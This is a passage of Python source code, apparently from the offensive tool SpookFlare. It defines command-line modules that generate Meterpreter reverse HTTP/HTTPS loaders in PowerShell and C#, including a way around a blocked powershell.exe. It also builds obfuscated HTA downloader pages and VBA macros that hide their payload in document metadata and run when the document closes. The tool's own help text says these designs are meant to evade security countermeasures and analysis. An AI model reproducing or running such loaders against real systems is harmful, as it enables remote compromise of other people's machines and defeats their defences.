do_generate(self, line): 188 | if None in (mpbProto, mpbLhost, mpbLport, mpbArch): 189 | print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n") 190 | else: 191 | print("\n \033[1m\033[94m[*]\033[0m Generating payload...\n") 192 | outputFileName = sfmpbin.randomString() 193 | outputMPPSCode = sfmpbin.generateMPBinLoader(mpbProto, mpbLhost, mpbLport, mpbArch, mpbSsize) 194 | with open("output/"+outputFileName+".cs", "w") as out_file: 195 | out_file.write(outputMPPSCode) 196 | print(" \033[1m\033[92m[+]\033[0m Binary loader code is successfully generated: output/" + outputFileName+".cs\n") 197 | print(" \033[1m\033[94m[*]\033[0m You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe or Visual Studie for compile C# code.\n") 198 | 199 | def do_back(self, line): 200 | return True 201 | 202 | def do_exit(self, line): 203 | pass 204 | 205 | 206 | class mpPSModule(sfCmd): 207 | global mppProto, mppLhost, mppLport, mppArch, mppSsize 208 | mppProto = None 209 | mppLhost = None 210 | mppLport = None 211 | mppArch = None 212 | mppSsize = "0" 213 | 214 | def __init__(self): 215 | sfCmd.__init__( 216 | self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") 217 | 218 | def do_info(self, line): 219 | print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n") 220 | print(''' This module can be used to generate PowerShell 221 | based loader (.PS1) and .EXE loader for blocked powershell.exe 222 | environments. It support Meterpreter Reverse HTTP, Reverse HTTPS 223 | staged payloads. The payload generated by this module has two output. 224 | The first output is PowerShell script and it can be used directly 225 | when available PowerShell access. The second output is C# code 226 | for PowerShell based loader code that will be used when powershell.exe 227 | is blocked. You can compile and run it, after that loader runs 228 | the PowerShell based loader code using System.Management.Automation.dll. 229 | This module also has the ability to process patched stages.''') 230 | print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m") 231 | optionsValues = [ 232 | ["Parameter", "Required", "Value", "Description"], 233 | ["PROTO", "Yes", mppProto, "Listener protocol. Accepted: http or https"], 234 | ["LHOST", "Yes", mppLhost, "The local listener hostname or IP address"], 235 | ["LPORT", "Yes", mppLport, "The local listener port."], 236 | ["ARCH", "Yes", mppArch, "Architecture of target system. Accepted: x86 or x64"], 237 | ["SSIZE", "No", mppSsize, "If you patched Metasploit insert your patch size"] 238 | ] 239 | optTable = AsciiTable(optionsValues) 240 | optTable.outer_border = False 241 | optTable.inner_column_border = False 242 | optTable.justify_columns[1] = "center" 243 | print("\n" + optTable.table + "\n") 244 | 245 | def do_set(self, line): 246 | global mppProto 247 | global mppLhost 248 | global mppLport 249 | global mppArch 250 | global mppSsize 251 | if line.split()[0] == "PROTO": 252 | if line.split()[1] == "http" or line.split()[1] == "https": 253 | mppProto = line.split()[1] 254 | print("PROTO => " + line.split()[1]) 255 | else: 256 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 257 | elif line.split()[0] == "LHOST": 258 | mppLhost = line.split()[1] 259 | print("LHOST => " + line.split()[1]) 260 | elif line.split()[0] == "LPORT": 261 | try: 262 | int(line.split()[1]) 263 | if (0 < int(line.split()[1]) < 65536): 264 | mppLport = line.split()[1] 265 | print("LPORT => " + line.split()[1]) 266 | else: 267 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 268 | except ValueError: 269 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 270 | elif line.split()[0] == "ARCH": 271 | if line.split()[1] in ("x86", "x64"): 272 | mppArch = line.split()[1] 273 | print("ARCH => " + line.split()[1]) 274 | else: 275 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 276 | elif line.split()[0] == "SSIZE": 277 | try: 278 | int(line.split()[1]) 279 | if int(line.split()[1]) >= 0: 280 | mppSsize = line.split()[1] 281 | print("SSIZE => " + line.split()[1]) 282 | else: 283 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 284 | except ValueError: 285 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 286 | 287 | def do_generate(self, line): 288 | if None in (mppProto, mppLhost, mppLport, mppArch): 289 | print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n") 290 | else: 291 | print("\n \033[1m\033[94m[*]\033[0m Generating payload...\n") 292 | outputFileName = sfmpps.randomString() 293 | outputMPPSCode = sfmpps.generateMPPSLoader(mppProto, mppLhost, mppLport, mppArch, mppSsize) 294 | with open("output/"+outputFileName+".ps1", "w") as out_file: 295 | out_file.write(outputMPPSCode) 296 | print(" \033[1m\033[92m[+]\033[0m PowerShell loader code is successfully generated: output/" + outputFileName+".ps1") 297 | with open("output/"+outputFileName+".cs", "w") as out_file: 298 | out_file.write(sfmpps.generateMPPSCsharpLoader(outputMPPSCode)) 299 | print(" \033[1m\033[92m[+]\033[0m C# loader code is successfully generated: output/" + outputFileName+".cs\n") 300 | print(" \033[1m\033[94m[*]\033[0m If powershell.exe is blocked on the target system, use the C# code for bypass that restriction.") 301 | print(" You can use C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe for compile.\n") 302 | 303 | def do_back(self, line): 304 | return True 305 | 306 | def do_exit(self, line): 307 | pass 308 | 309 | 310 | class jsHtaModule(sfCmd): 311 | global htaDownloadName, htaCmdFile 312 | htaDownloadName = None 313 | htaCmdFile = None 314 | 315 | def __init__(self): 316 | sfCmd.__init__( 317 | self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") 318 | 319 | def do_info(self, line): 320 | print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n") 321 | print(''' This module can be used to generate HTA downloader 322 | payload with character substitution, obfuscation 323 | and encoding. The module has HTML file output and 324 | generated HTML file do all things dynamically at 325 | the client-side. Thus, a great advantage can be 326 | obtained against the security countermeasures 327 | in the target. The logic of this module is derived 328 | from NCC Group's Demiguise project and added 329 | JavaScript encoder. Using this module, the desired 330 | operating system commands can be executed on 331 | the target system.''') 332 | print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m") 333 | optionsValues = [ 334 | ["Parameter", "Required", "Value", "Description"], 335 | ["FNAME", "Yes", htaDownloadName, "The file name that will appear when the payload is triggered. Ex: SpookFlare"], 336 | ["CMD", "Yes", htaCmdFile, "The file containing the payload command to run"] 337 | ] 338 | optTable = AsciiTable(optionsValues) 339 | optTable.outer_border = False 340 | optTable.inner_column_border = False 341 | optTable.justify_columns[1] = "center" 342 | print("\n" + optTable.table + "\n") 343 | 344 | def do_set(self, line): 345 | global htaDownloadName 346 | global htaCmdFile 347 | if line.split()[0] == "FNAME": 348 | htaDownloadName = line.split()[1] 349 | print("FNAME => " + line.split()[1]) 350 | elif line.split()[0] == "CMD": 351 | htaCmdFile = line.split()[1] 352 | if os.path.isfile(htaCmdFile): 353 | print("CMD => " + line.split()[1]) 354 | else: 355 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n") 356 | 357 | def do_generate(self, line): 358 | if None in (htaDownloadName, htaCmdFile): 359 | print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n") 360 | else: 361 | print("\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m") 362 | with open(htaCmdFile, "r") as in_file: 363 | htaCommand = in_file.read().strip() 364 | outputFileName = sfhta.randomString() 365 | with open("output/"+outputFileName+".html", "w") as out_file: 366 | out_file.write(sfhta.obfuscateHta(sfhta.generateBase(htaCommand, htaDownloadName))) 367 | print(" \033[1m\033[92m[+]\033[0m HTML loader code is successfully generated: output/" + \ 368 | outputFileName+".html\033[0m\n") 369 | 370 | def do_back(self, line): 371 | return True 372 | 373 | def do_exit(self, line): 374 | pass 375 | 376 | class vbaModule(sfCmd): 377 | global vbaCmdFile, vbaFileType, vbaMetaName 378 | vbaCmdFile = None 379 | vbaFileType = None 380 | vbaMetaName = None 381 | 382 | def __init__(self): 383 | sfCmd.__init__( 384 | self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") 385 | 386 | def do_info(self, line): 387 | print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n") 388 | print(''' This module is generate VBA macro loader 389 | payload with character substitution. The VBA macro 390 | reads real payload from spesific meta-data sections 391 | of file. Thus, a great advantage can be obtained 392 | against the security countermeasures in the target. 393 | Also payload will be triggered when user close the 394 | document. Working in this way is especially advantageous 395 | in analysis. Because run of macro code for when 396 | file opened is marked as malicious by the usage 397 | intensity. Using this module, the desired operating 398 | system commands can be executed on the target system.''') 399 | print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m") 400 | optionsValues = [ 401 | ["Parameter", "Required", "Value", "Description"], 402 | ["CMD", "Yes", vbaCmdFile, "The file containing the payload command to run"], 403 | ["FTYPE", "Yes", vbaFileType, "File type of payload. Accepted: word, excel, powerpoint"], 404 | ["META", "Yes", vbaMetaName, "The metadata name to read payload. Accepted: Comments and Company (case sensetive)"] 405 | ] 406 | optTable = AsciiTable(optionsValues) 407 | optTable.outer_border = False 408 | optTable.inner_column_border = False 409 | optTable.justify_columns[1] = "center" 410 | print("\n" + optTable.table + "\n") 411 | 412 | def do_set(self, line): 413 | global vbaCmdFile 414 | global vbaFileType 415 | global vbaMetaName 416 | 417 | if line.split()[0] == "FTYPE": 418 | if line.split()[1] in ("word", "excel", "powerpoint"): 419 | vbaFileType = line.split()[1] 420 | print("FTYPE => " + line.split()[1]) 421 | else: 422 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 423 | if line.split()[0] == "META": 424 | if line.split()[1] in ("Comments", "Company"): 425 | vbaMetaName = line.split()[1] 426 | print("META => " + line.split()[1]) 427 | else: 428 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 429 | elif line.split()[0] == "CMD": 430 | vbaCmdFile = line.split()[1] 431 | if os.path.isfile(vbaCmdFile): 432 | print("CMD => " + line.split()[1]) 433 | else: 434 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid file.\n") 435 | 436 | def do_generate(self, line): 437 | if None in (vbaCmdFile, vbaFileType, vbaMetaName): 438 | print("\n \033[1m\033[91m[!]\033[0m Please check your values.\n") 439 | else: 440 | print("\n \033[1m\033[94m[*]\033[0m Generating payload...\033[0m") 441 | with open(vbaCmdFile, "r") as in_file: 442 | vbaCommand = in_file.read().strip() 443 | outputFileName = sfvba.randomString() 444 | with open("output/"+outputFileName+".vba", "w") as out_file: 445 | out_file.write(sfvba.generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName)) 446 | print(" \033[1m\033[92m[+]\033[0m Macro loader code is successfully generated: output/" + 447 | outputFileName + ".vba\033[0m\n") 448 | 449 | def do_back(self, line): 450 | return True 451 | 452 | def do_exit(self, line): 453 | pass 454 | 455 | 456 | if __name__ == '__main__': 457 | signal.signal(signal.SIGINT, ctrlcHandler) 458 | sfCmds = sfCmd() 459 | sfCmds.cmdloop() 460 | --------------------------------------------------------------------------------